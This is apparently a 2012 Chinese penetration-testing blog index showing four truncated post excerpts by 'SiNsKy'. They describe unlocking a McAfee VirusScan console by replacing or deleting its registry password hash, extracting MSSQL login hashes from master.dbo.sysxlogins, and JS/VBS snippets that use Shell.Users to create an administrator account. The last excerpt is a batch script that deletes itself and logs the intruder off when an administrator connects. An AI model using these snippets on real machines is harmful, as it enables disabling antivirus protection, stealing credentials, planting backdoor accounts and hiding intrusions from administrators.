McAfee VirusScan控制台的用户解锁密码忘记的解决方法

by
SiNsKy
Posted 二月 23rd, 2012 at 4:20 下午
麦咖啡8.5i,密码忘记了或者不知道密码没法解锁,怎么办?进安全模式?NO,如果是3389状态呢?
当前状态regedit.exe定位到
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\DesktopProtection\UIP
将其中内容复制出来,这是一段32位的MD5密文,你可以尝试拿去破解,解密不出来你可以拿一段已知的32位md5密文来替换,或者直接删除后重启。
...
MsSql及MySql Hash的提取、破解

by
SiNsKy
Posted 一月 20th, 2012 at 3:50 下午
MSSQL
mssql的hash保存在表master.dbo.sysxlogins中,用
select name,password from master.dbo.sysxlogins
可以提取用户hash
0x01004E04BE46023057E323AF27269E5B7DDCA140C98D225BDD3D06E8EFE8CFAEC02985B27B38059FA3B18349612B
分解:
常量部分:0×0100
Salt部分:4E04BE46
混合密文:023057E323AF27269E5B7DDCA140C98D225B...
php版、js版和vbs 版shell.users 加管理员帐号方法

by
SiNsKy
Posted 一月 15th, 2012 at 2:12 上午
js版和vbs版shell.users 加管理员账号的代码来自lcx
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
php...
嗅探中非常有用的两个批处理命令

by
SiNsKy
Posted 一月 15th, 2012 at 2:00 上午
两个嗅探中比较有用的批处理
第一个批处理:
在渗透中挂机嗅探的时候,如果检测管理员上线就注销自已的 bat
复制下面的内容保存为 xx.bat
quser>1.txt
:hhh
quser>2.txt
fc 1.txt 2.txt | find "*" && del xx.bat 1.txt 2.txt | logoff
goto hhh
说明
当下一个用户连接的时候,程序就删除bat并注销,如果没有用户...